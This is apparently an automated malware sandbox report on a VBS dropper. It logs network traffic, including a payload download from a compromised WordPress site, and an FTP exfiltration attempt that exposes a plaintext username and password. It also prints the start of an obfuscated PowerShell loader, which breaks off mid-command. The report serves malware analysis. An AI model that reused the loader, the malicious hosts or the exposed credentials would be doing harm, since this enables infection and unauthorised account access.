Dec 1, 2022 15:50:08.440924883 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440936089 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440948009 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440959930 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440970898 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440983057 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440994978 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.441005945 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.441018105 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.441025019 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.441025019 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.441025019 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.441025972 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.441025972 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.441025972 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.441025972 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.441025972 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.441034079 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.441047907 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.441047907 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.441047907 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.441051960 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.441066980 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.441072941 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.441072941 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.441083908 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.441097975 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.441121101 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.441219091 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.441289902 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.557050943 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.557151079 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.557178974 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.557190895 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.557203054 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.557205915 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.557230949 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.557245016 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.557256937 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.557275057 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.557275057 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.557277918 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.557293892 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.557306051 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.557318926 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.557322979 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.557323933 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.557323933 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.557341099 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.557353973 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.557365894 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.557410002 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.557420969 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.557440996 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.557470083 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.557518959 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.557568073 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:13.319366932 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:13.319550037 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:15.844718933 CET	49825	21	192.168.11.20	185.31.121.136
Dec 1, 2022 15:50:15.876802921 CET	21	49825	185.31.121.136	192.168.11.20
Dec 1, 2022 15:50:15.876933098 CET	49825	21	192.168.11.20	185.31.121.136
Dec 1, 2022 15:50:15.910717964 CET	21	49825	185.31.121.136	192.168.11.20
Dec 1, 2022 15:50:15.911051989 CET	49825	21	192.168.11.20	185.31.121.136
Dec 1, 2022 15:50:15.943064928 CET	21	49825	185.31.121.136	192.168.11.20
Dec 1, 2022 15:50:15.943161011 CET	21	49825	185.31.121.136	192.168.11.20
Dec 1, 2022 15:50:15.943381071 CET	49825	21	192.168.11.20	185.31.121.136
Dec 1, 2022 15:50:16.014626980 CET	21	49825	185.31.121.136	192.168.11.20
Dec 1, 2022 15:50:19.780215979 CET	21	49825	185.31.121.136	192.168.11.20
Dec 1, 2022 15:50:19.783906937 CET	49825	21	192.168.11.20	185.31.121.136
Dec 1, 2022 15:50:19.816060066 CET	21	49825	185.31.121.136	192.168.11.20
Dec 1, 2022 15:50:19.816215038 CET	49825	21	192.168.11.20	185.31.121.136
Dec 1, 2022 15:50:19.816740990 CET	21	49825	185.31.121.136	192.168.11.20
Dec 1, 2022 15:50:19.816981077 CET	49825	21	192.168.11.20	185.31.121.136
Dec 1, 2022 15:51:57.762777090 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:51:58.074925900 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:51:58.684145927 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:51:59.887095928 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:52:02.292809010 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:52:07.104397058 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:52:16.711529970 CET	49824	80	192.168.11.20	192.185.145.188

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 1, 2022 15:50:07.807889938 CET	53604	53	192.168.11.20	1.1.1.1
Dec 1, 2022 15:50:07.826406956 CET	53	53604	1.1.1.1	192.168.11.20
Dec 1, 2022 15:50:15.606538057 CET	52412	53	192.168.11.20	1.1.1.1
Dec 1, 2022 15:50:15.837896109 CET	53	52412	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 1, 2022 15:50:07.807889938 CET	192.168.11.20	1.1.1.1	0xab96	Standard query (0)	b3solutionscws.com	A (IP address)	IN (0x0001)	false
Dec 1, 2022 15:50:15.606538057 CET	192.168.11.20	1.1.1.1	0xa887	Standard query (0)	ftp.mcmprint.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 1, 2022 15:50:07.826406956 CET	1.1.1.1	192.168.11.20	0xab96	No error (0)	b3solutionscws.com		192.185.145.188	A (IP address)	IN (0x0001)	false
Dec 1, 2022 15:50:15.837896109 CET	1.1.1.1	192.168.11.20	0xa887	No error (0)	ftp.mcmprint.net		185.31.121.136	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

b3solutionscws.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49824	192.185.145.188	80	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2022 15:50:07.952996969 CET	223	OUT	GET /wp-admin/ZCaVuIfIpDLfuryX16 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: b3solutionscws.com Cache-Control: no-cache
Dec 1, 2022 15:50:08.081645966 CET	225	IN	HTTP/1.1 200 OK Date: Thu, 01 Dec 2022 14:50:08 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade Last-Modified: Wed, 30 Nov 2022 23:29:13 GMT Accept-Ranges: bytes Content-Length: 213568 Data Raw: a0 14 a5 9b 0f dd 17 a9 73 1d 5a 1d 24 ac 7d 3e 8f 55 34 ab 6d a4 bc 09 00 fb 68 bf 55 4d 72 08 a2 70 41 d8 50 da 8c b7 63 34 56 18 f5 2f 36 a8 74 70 9a c4 af 9e 6f 03 f9 69 2f e3 28 ed 4d 97 36 8a ff 87 2f 3a 04 47 53 7d 4c e4 47 9a e9 aa 78 f6 04 21 96 6a f8 6b 2f f6 3b f8 70 b1 40 e0 c0 3d f4 21 e2 ff 1d 4d f4 ca 87 a7 26 d9 80 d6 93 6f f9 ae 09 ff 74 6b 7a c3 65 0d df 03 34 0c 1e 92 3a 62 0a f4 fc 58 31 14 96 4e 2b 65 90 31 6b 15 48 87 00 42 cf 2c e6 a2 d4 6d 2d 28 49 6d c2 0e 3f c3 dd 12 71 64 b9 68 c0 cc f7 9e 76 0e 7c 55 3f 5f 1e 7c 60 56 f5 8a 1d b5 39 a2 4f 13 fd db f9 90 6c 24 5b 56 f4 f0 89 ec de da 31 e7 24 87 d1 46 22 92 4b 51 32 17 d5 40 32 5f 7d b8 62 61 ef e4 73 b5 ac f4 01 a9 d3 02 bb 7e 91 28 ad ae 57 9a 05 fc 8e fe 2b 22 d9 9c 40 d7 58 2e bb ca 8d 45 94 73 26 b4 7c 2c 32 c7 b9 45 f3 f5 cf 13 0b f8 2a 0a e2 ca 5d 57 db a8 41 b3 4d 6a 26 0e e7 e7 e2 89 f2 98 3a 41 ef dd 36 8e f4 68 79 1c 19 fc 7a c1 70 a0 42 d6 e7 a1 a2 fe f5 4c 5c 15 ad cc c7 a6 f2 ea cc c4 30 8f 03 b5 24 52 e2 fd c5 ee c9 a3 94 fb 41 9c b0 d4 41 f4 eb 2b 49 b2 ae 43 80 72 68 b1 69 70 c8 5f ff 9d 64 0c 0a 36 18 bf cc b7 38 b9 09 b4 6f 37 3c fa c7 b1 bb 1f 69 72 59 23 ee aa 48 f5 97 cc a1 48 f0 b2 00 50 f0 69 d6 cd 9b c2 44 2d b7 06 f0 79 0e fe aa 41 9d 48 24 56 46 1b 03 c0 94 51 4c db a3 43 cc 4d e5 1f 9b 01 14 7b d7 f3 e8 d2 55 94 54 d0 38 f8 c9 60 f8 69 a7 12 9c 56 63 3d 6c 63 c8 24 3d be f1 7b ad 13 89 53 df 6b b1 e5 b2 c9 c8 55 48 25 69 9d 1f c8 1d 2d a7 b2 58 82 ce 09 f7 f1 cd 73 36 6f 07 78 73 ef cd 6f 7d 40 45 36 79 db 99 c3 95 7f 50 17 39 7b 77 9e 79 43 c9 c2 e0 e3 4f 6c 62 8b f9 a6 b4 75 0a 96 ea a8 a3 d6 92 50 ea 1b 58 12 76 7c 39 c6 93 78 d4 39 5b 9a 56 b9 91 ac ae 68 60 ee fd b7 30 a1 59 6e f0 b5 f0 c8 8e ed 0d ac 6e a0 f0 4b 63 05 75 68 98 5f 93 51 52 9e 5d c5 d3 19 09 c7 a1 65 74 7e 93 f1 6b 20 e2 05 ee 20 a3 ed 78 7d 48 a5 1f 3b 68 6d f6 b7 39 44 14 62 0b 6d 90 f5 7e c4 d2 93 10 e0 64 8b f7 ad e2 c7 10 77 8e 48 8e 77 cf 37 88 84 ce 0d d8 ac e3 75 ef f9 79 50 1b eb a5 9a 4e 6d 75 44 27 f5 17 6d 7b eb 74 06 55 38 22 e3 07 cb 0d 6b 91 48 0d 40 b6 36 7f b1 a9 3c b4 cf fa 71 5c 46 2e 63 4c d3 65 f9 8d 4c 45 02 d9 2b 45 a5 c6 29 24 c6 c0 75 d7 88 a1 3b 8c 46 23 af 34 c0 f8 7e 43 c7 9a 8a 5c 23 da ef 03 e0 43 4f bc 8f be 2f 5e 9a 97 61 c0 9f d0 f7 ab 32 52 99 7e f5 be 9e b4 c0 b1 89 77 27 dc a7 a1 eb 14 a1 9a 83 78 e4 b1 d5 46 5f 14 5a 6e a1 66 38 cf 2a 33 45 01 e5 70 b7 57 da f6 6b 0c c7 86 89 b7 ca f1 54 fb dd 02 79 53 f3 05 0b 1f 9f 17 49 ac d6 ce cd 6d aa 43 b9 fa a4 66 bb aa 91 33 f5 ca 71 98 6d 2b 61 19 e5 a2 23 1e 25 bf 04 eb f5 51 d4 c4 50 39 58 8a 45 8d fe da 10 2c 5f 0c 70 a8 ad 06 c5 cf 1f aa c6 f1 ef 64 ae 5a ab d6 34 10 66 42 7b d0 7e 91 27 11 1f 47 50 6a b2 e5 94 67 f1 a1 c0 f1 12 df 97 46 fa 7c 64 f6 3c e0 8e b0 6c e2 eb 3f df c2 9c fb 1d 4d f0 a5 8a a7 26 d3 aa c5 a3 6d f9 80 09 ff 74 6e 7a c3 74 1b 54 28 2f 0c 17 9a 7e 6d 26 42 ed 9e 10 ab 81 fc e7 68 c6 4e 09 66 6f ef 8c 2c 84 5c ac cd df ed 4e 45 0f 13 b6 2e 57 8e ef 60 04 00 b3 01 ae ff 83 d3 25 06 11 3a 5b 3c 30 71 7c 4a da a1 06 b5 3e b5 b1 12 81 9c e1 9b 20 22 4e a8 f6 db cd 98 d5 da 36 ff da 86 fd 44 e9 90 62 b3 3b 3e ce 40 32 6f 54 ab 52 65 ef c8 73 b5 ac f3 6f f1 c1 14 b0 75 8a 28 aa b9 a9 9b 29 fe d6 f5 2b 05 cf 62 41 f9 5a Data Ascii: sZ$}>U4mhUMrpAPc4V/6tpoi/(M6/:GS}LGx!jk/;p@=!M&otkze4:bX1N+e1kHB,m-(Im?qdhv\|U?_\|`V9Ol$[V1$F"KQ2@2_}bas~(W+"@X.Es&\|,2E]WAMj&:A6hyzpBL\0$RAA+ICrhip_d68o7<irY#HHPiD-yAH$VFQLCM{UT8`iVc=lc$={SkUH%i-Xs6oxso}@E6yP9{wyCOlbuPXv\|9x9[Vh`0YnnKcuh_QR]et~k x}H;hm9Dbm~dwHw7uyPNmuD'm{tU8"kH@6<q\F.cLeLE+E)$u;F#4~C\#CO/^a2R~w'xF_Znf83EpWkTySImCf3qm+a#%QP9XE,_pdZ4fB{~'GPjgF\|d<l?M&mtnztT(/~m&BhNfo,\NE.W`%:[<0q\|J> "N6Db;>@2oTResou()+bAZ
Dec 1, 2022 15:50:08.081737995 CET	226	IN	Data Raw: 39 b4 ca 8a 5d 6a 72 0a b6 53 2e 19 24 69 40 f3 f5 cd 9b 1c f8 2a 02 c8 d9 6d 55 db 80 43 b3 0d e7 26 0e e6 f1 e9 b2 e9 98 3d 56 01 dc 1a 9c ec 63 79 1b 0f 02 6b ed 72 b7 49 d6 e0 b9 5c ff d9 4e 6f 4f 85 2f 96 8e e7 ea cc ae 19 9c 2b b4 24 11 e2 Data Ascii: 9]jrS.$i@mUC&=VcykrI\NoO/+$JFe:BrCs{Xce 4#d7;9qyY$TIHQkF'{AB$VWjDX>e!~\|/Ilq+gJ$:zQke?\|\d6Ccxw
Dec 1, 2022 15:50:08.081804037 CET	227	IN	Data Raw: 45 28 c8 2f 49 83 3a 28 24 cc c9 1a fa 88 a1 20 85 5a 1b b0 34 d6 eb 9f 56 15 99 be 4c 2a fd 99 17 e1 6f 33 ba 84 be 2c 6e 4a 96 4d c8 6c be b3 67 4c 53 93 61 e4 c2 90 b4 d1 bf bc 6e e9 df 8b 84 c3 96 a1 98 85 67 fe b4 da 6d 55 10 42 75 a1 66 38 Data Ascii: E(/I:($ Z4VLo3,nJMlgLSangmUBuf8L3E'wF.pZpM#yj-^:9/?wU[&:}#a`Y#bFjp;(E\|xt:E4":ko;a;_I0 o'bzaX+
Dec 1, 2022 15:50:08.081902027 CET	229	IN	Data Raw: c4 a3 9d e3 bf 9d 9c d8 3f fc eb 2b 4d 08 95 bc 73 8d 71 bc 69 79 d7 55 01 9c 48 53 08 59 55 bf cc bd 23 34 11 b4 6f 36 30 f2 d1 99 dc 1d 69 74 fb 2b f9 d4 55 f5 97 c8 89 1e f2 b2 06 78 b7 6b d6 cb f4 8d 44 0d bd a4 f0 61 26 96 a8 41 9b ea 2c 4f Data Ascii: ?+MsqiyUHSYU#4o60it+UxkDa&A,OnKZ_M7q[HT2I:l`;sj$4zIkl7~Zj6Uv[4D\|2W@^\|9*q/CjJ&tP]v\|x[9+sWbYn]n
Dec 1, 2022 15:50:08.082016945 CET	230	IN	Data Raw: 45 0c 9c ea b6 7b d2 c7 66 24 b8 9c 77 b0 e1 9c 43 f8 f6 e7 79 4f f3 05 0b 58 b2 17 49 ac 93 b9 fd 6f a0 49 bf d2 dd 67 bb ac 87 4a c0 e0 6a 9e 14 22 9f 18 cd 88 1d 15 25 b2 7d 71 f4 7d dc f5 5d 11 25 90 bb 8a d5 b7 79 2f 74 e9 70 b5 ad 06 c5 88 Data Ascii: E{f$wCyOXIoIgJj"%}q}]%y/tp5X2nyF{,:aEdeHdi1p/=M%o"tkeg4nF*D_r'mZn(e` ?,sF2qk$O&T;E5
Dec 1, 2022 15:50:08.082114935 CET	232	IN	Data Raw: bf 94 51 0e 07 b2 4a a3 30 e5 1f 91 df 18 6a f0 ab 8a bb 28 fb 0b d0 4c ca 16 71 f0 26 db 12 9c 66 71 35 03 06 c8 24 37 60 fd 6a a5 3f 8e 42 d7 04 ee e5 92 c3 14 4b 6a 57 1a eb 50 fd 0c 2b c4 86 58 82 ca 06 8a f1 cd 7d 1a 76 16 42 0b d8 cd 6f 79 Data Ascii: QJ0j(Lq&fq5$7`j?BKjWP+X}vBoyXIy'9?6l/tlbuJvgRzTr91h`Y0Yn\|nK+uhQ~(_?it~k& Hy}H;h9Hbm~qe(aH{7tqz
Dec 1, 2022 15:50:08.082199097 CET	233	IN	Data Raw: fe d2 e7 b2 7a ba fe 23 8a 4e 57 7b d0 65 57 34 3a 04 46 7f 69 4c e4 b2 4d 48 aa c0 fc 70 39 96 6a f9 eb 76 f6 3b fc 76 a5 68 6d c2 3d f2 39 6f f8 1d 4d f5 d9 83 b6 22 cf a8 59 91 6f ff 0c 18 fb 63 68 d8 d2 61 00 56 17 20 14 9d de 80 6c 0b 53 f0 Data Ascii: z#NW{eW4:FiLMHp9jv;vhm=9oM"YochaV lSANwmZ^["9`I1.0s0qg(N$T7kLKP?>@2ompatq>x(SXVi.vtz,4E2- ]Qr0=
Dec 1, 2022 15:50:08.082284927 CET	234	IN	Data Raw: 78 f7 92 ca 8c 57 8e 15 39 3d fb f1 0f 2b a6 b0 e4 f9 bd 6d 4e 93 f0 31 9f 25 0a 94 e0 a4 b1 94 b9 cd e8 1b 5e 3a 27 7c 39 cc 31 63 c7 3d 1b 8b 52 e4 9a 52 af 44 6c e7 e3 c9 2e a1 59 6a 52 aa fc db da b5 1f a8 71 b7 0e 4a 07 1f 72 40 39 5d 96 57 Data Ascii: xW9=+mN1%^:'\|91c=RRDl.YjRqJr@9]W?_;a\+a-$\|bA[ddFdrz_,Jqm(e_wPmj#~M'JA\d'0Y*jS\LG;E8#G 48CpC9B
Dec 1, 2022 15:50:08.082384109 CET	236	IN	Data Raw: 97 13 ce e8 c6 59 04 15 ab f7 72 27 a4 56 e8 0b f4 0e 46 4b 59 36 b6 2e 57 ad f4 0f c1 0a 99 0b bd ea 98 89 34 28 7e fc 5b 3a 3a 05 07 5c d1 8b 0e b1 3e dc 7b 13 ad 94 96 5b 20 25 52 7a db e6 cb a7 73 d8 31 e1 4b 4b d1 46 c8 ba 84 50 39 1c f1 52 Data Ascii: Yr'VFKY6.W4(~[::\>{[ %Rzs1KKFP9R#aV`gU,`WQ)tX$Ex72hl+-W13+?iO6@AvCL)3#$G`:aCf@~ipwdH,45<
Dec 1, 2022 15:50:08.082484007 CET	237	IN	Data Raw: c1 3f de 0d d0 5c 64 58 7d 9a e2 6f 26 f3 01 f5 de a2 c1 7f 74 40 3f 14 27 7b 69 f6 a6 3d 5c ea 63 27 63 b8 4e 7c c4 d4 bb cf e0 64 81 fa b4 f1 c3 10 66 8a 51 70 76 e3 32 9e 88 d4 1e c2 ae da 70 f9 07 72 56 06 fe 9e 9a 4e 7c 7b 70 7f 87 3d 6f 50 Data Ascii: ?\dX}o&t@?'{i=\c'cN\|dfQpv2prVN\|{p=oPirS]44qX'c]^Ji+\"#rLEMBo##hZ} XLS~dx\|7]yUlG;\|a_,u\QwHya
Dec 1, 2022 15:50:08.199069977 CET	238	IN	Data Raw: b2 0d 8b ef e4 79 9d 7e f6 6f f7 bf ef bb 5e 9b 47 43 ae 57 90 16 f0 df f2 3f 2a 0a 9e 40 d3 40 a3 b8 ca 8d 44 87 62 37 a5 6e 04 64 c5 b9 43 51 e4 de a4 20 02 2b 08 e4 68 4c 46 cf bc 57 9b 97 ef 26 04 df f6 e2 99 f8 8b 36 50 f3 c9 1e 4a f6 68 7f Data Ascii: y~o^GCW?*@@Db7ndCQ +hLFW&6PJhjqS+LBV3PcRW>)I4Rf\|A_u<3G>6irX0ZHBA,m&dA`VFo\0j-LI:4l`7d4R

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Dec 1, 2022 15:50:15.910717964 CET	21	49825	185.31.121.136	192.168.11.20	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 50 allowed.220-Local time is now 16:50. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 50 allowed.220-Local time is now 16:50. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 50 allowed.220-Local time is now 16:50. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 50 allowed.220-Local time is now 16:50. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Dec 1, 2022 15:50:15.911051989 CET	49825	21	192.168.11.20	185.31.121.136	USER noffice@mcmprint.net
Dec 1, 2022 15:50:15.943161011 CET	21	49825	185.31.121.136	192.168.11.20	331 User noffice@mcmprint.net OK. Password required
Dec 1, 2022 15:50:15.943381071 CET	49825	21	192.168.11.20	185.31.121.136	PASS 2K-0}h.[5hb)
Dec 1, 2022 15:50:19.780215979 CET	21	49825	185.31.121.136	192.168.11.20	530 Login authentication failed
Dec 1, 2022 15:50:19.816060066 CET	21	49825	185.31.121.136	192.168.11.20	530 Logout.

Target ID:	0
Start time:	15:50:14
Start date:	01/12/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\TT_COPY.vbs"
Imagebase:	0x7ff6961b0000
File size:	170496 bytes
MD5 hash:	0639B0A6F69B3265C1E42227D650B7D1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	2
Start time:	15:50:34
Start date:	01/12/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Vildmnd = """SaFLauConFacGatUniStoUnnLi suSSemLeeAurGltIneFrnAnsFrbAnaCarIrnPrsre0St To{Ch Ir Al Ud DopCoaSerUsaPemAn(Th[FoSRetHorKoiBonSagSu]In`$NoRAfenoguniHyoOpnMesHapFrlInathnStlVaoIsvUnsel)Bo;Hu In Po Fe Fo`$DiDOceWilMuiUnnPhtBaeHerJuvSyaNalPrlGaeTorKonIfeCosDi No=Br WhNBeetrwKo-FjOKobThjRaeLecCotUn BebStyEntCieKo[cu]Hu Cr(Hy`$mrRDreOagviiMyoBanTvsKvpEklOvaacnFrlSloHovsosPi.SuLAbeNenWagSmtHuhTh No/Be Ze2Co)St;Pe Sk Gt Mi SuFUdomerOm(cr`$ArKUblVaiOvsSetUnrEmiAznTeggeeUnrGu=Al0re;Un Tr`$SpKTjlDriMesAktSurFoiUnnCagMeeSarIc He-FalBrtKa Ac`$TiRWieUdgUdiDeoRanObsSkpRelMiaPrnAnlreoAlvInsfo.BoLTreFanPrgFrtSthDd;Uu Sp`$SyKFolGoiAlsExtinrTriLinUngSkeIcrRe+Fl=Zi2he)Le{Ga Ys Un Pa Pr Te Ta Il Af`$TrDBreNolFoiSenFotCaeBrrduvPeaArlMulIneTrrFonSheHysSa[Re`$ReKOmlPaiDasTrtBurOritenVegDoeDirOp/Sw2Be]Em Gk=Lo Co[PocOnoSunTivUneMarKrtTa]Vi:tr:WiTReoRoBVgyEttWaeDe(Ma`$GrRWheFogTuiAnoNonBysDipLolDeaFonPrlUdoFovGrsUn.PaSFoucobDusBrtForCliMenTugli(Ja`$CeKMelIciAysAftMirGriCinUvgUneStrSe,Fu te2Ho)Ko,Sk Ba1Ti6Va)Fl;Ga Va Ar`$UnDSceKelPiirenFltpeeDorTevStaColFjlTrePerAcnOveDisLa[Ca`$AfKtalIdiKlsCotskrHyiUnnBrgsueAsrte/Mo2Pe]Le Zo=Mi Ne(ne`$PiDsleaulSuiFanmytFjeAnrFevTeaPrlnolKreLurFrnByeThsOb[Ek`$BaKUdltriOrsLatserOsiChnJegSkeThrSp/Er2Mu]Bi Be-prbmeximoForGr Es1Sk6St5Fr)De;Ar kn Gi An Ma}He Vn[ReSGatakrHaiSinLogOx]fi[TaSmoyCosHatPaeChmOr.unTAleAbxOvtFo.ExEkvnNocAaoMedStiHonAsgBo]No:Bi:TiADiSBeCGrILaIHu.raGCoeVitKoSVatprrUniLanSugHa(Ec`$MaDExeKvlFaiFlnBatEnePorssvFuaJalInlIneGorExnBieWhsAn)Eq;Pa}St`$RiFUpoKorsksInkMinVeiFanDugMesrerLieBrsOvuRelHotIdaUrtDieKtrDesfa0In=SiSHimUfecergotafePrnknsvibHeaHyrEknmissi0Fi Dr'MeFSv6AfDSnCfaDSu6SuDVe1InCHj0AfCUn8Da8UdBBvCMa1BaCre9VaCOr9Sa'Un;Al`$LiFodoKerHosLikConHuiTrnSpgDoslarSueEjsTeuTelVetBiaGrtReeOvransLe1Wa=OuSLumMoeUrrBrtUmeKanHyspobMuaWirInnAnsNo0Br No'UdEAn8KoCRuCUnCdo6TrDWo7cuCcuAFaDha6LyCDiAUnCNe3KrDCa1ma8FlBImFDi2DdCDyCSaCGrBSe9Am6Ch9Ok7Re8grBskFhu0ReCFiBMoDDi6NaCCo4SkCUn3HiCBr0KeETrBPoCSh4GrDRe1AnCBoCYnDSo3MiCAf0SaEUn8SaCTo0TiDCo1ScCZoDNoCFlAMeCut1KoDSe6Bo'Sq;Gr`$FiFDooStrnosKokIdnCoiblnSkgJosSprDaeTssTeuUnlSttSvaPrtHoeChrHysDi2Ny=PoSUmmPeeKnrqutCleHonidsFobFoaPrrUnnKosPo0Ra Ve'TrEPa2ImCRe0spDpr1VaFCa5TeDPa7lyCBrAHeCSi6DiEIr4VaCFr1DaCVa1UpDDu7TeCGy0hoDRe6UdDSu6De'Me;Ud`$GrFTeolerLusCukClnRaiSanHagcisCyrBeeDesVauSylFotSkaAntmueSarUdsEt3La=RaSStmEkeSkrSatHueSunTrsInbBeaHerRonFosKu0He Co'FrFRe6slDMeCFoDin6BeDOp1ToCBu0CoCUl8Gu8MeBUnFCo7OpDMo0MaCWeBJaDVi1plCJoCArCSh8BaCSt0nu8CoBMeEReCDiCFeBTaDLy1soCOm0EuDAf7ReCSuAtoDDh5brFVa6PsCIn0FeDDi7maDBa3KaCChCReCMe6FlCde0UiDHu6Re8ReBGeEseDBaCSp4KlCStBryCca1SkCfr9DaCke0EsFMi7UnCdu0PrCAs3hf'Gr;De`$PoFChoMirPesDikFlnIniBanovgSasMarKaeGrsBeuValFotFraTrtHieAlrStsKl4Da=FoSnomfjegorSvtGreBunKasLgbSparorUnnSosIn0Al Gr'JoDAd6enDSe1PeDch7DiCPrCAmCSyBFrCPi2Mu'Ra;We`$IrFBroLurSusCoktonFeiAnnNogTasMirpieLiscauTalExtKaaSptDoeunrSisIr5Do=OcSMimBaeStrRetLteSonFusUdbGraMurFonMosDr0Me Sp'RiEUn2NeCSt0SkDFa1MaEMa8ShCLiAFoCMa1TrDSi0FlCca9SoCGr0PhEDeDDeCBu4ClCAfBExCVa1BeCEn9UnCAn0By'Ga;Fl`$StFRdoRergasprkNonNoiNrnVagSmsFortiePrsCuuGulPitlyaDitUleLlrRusZa6bi=KlSComPuePlrRitNeeManDesAtbHvaMerPonBlsRe0Ha 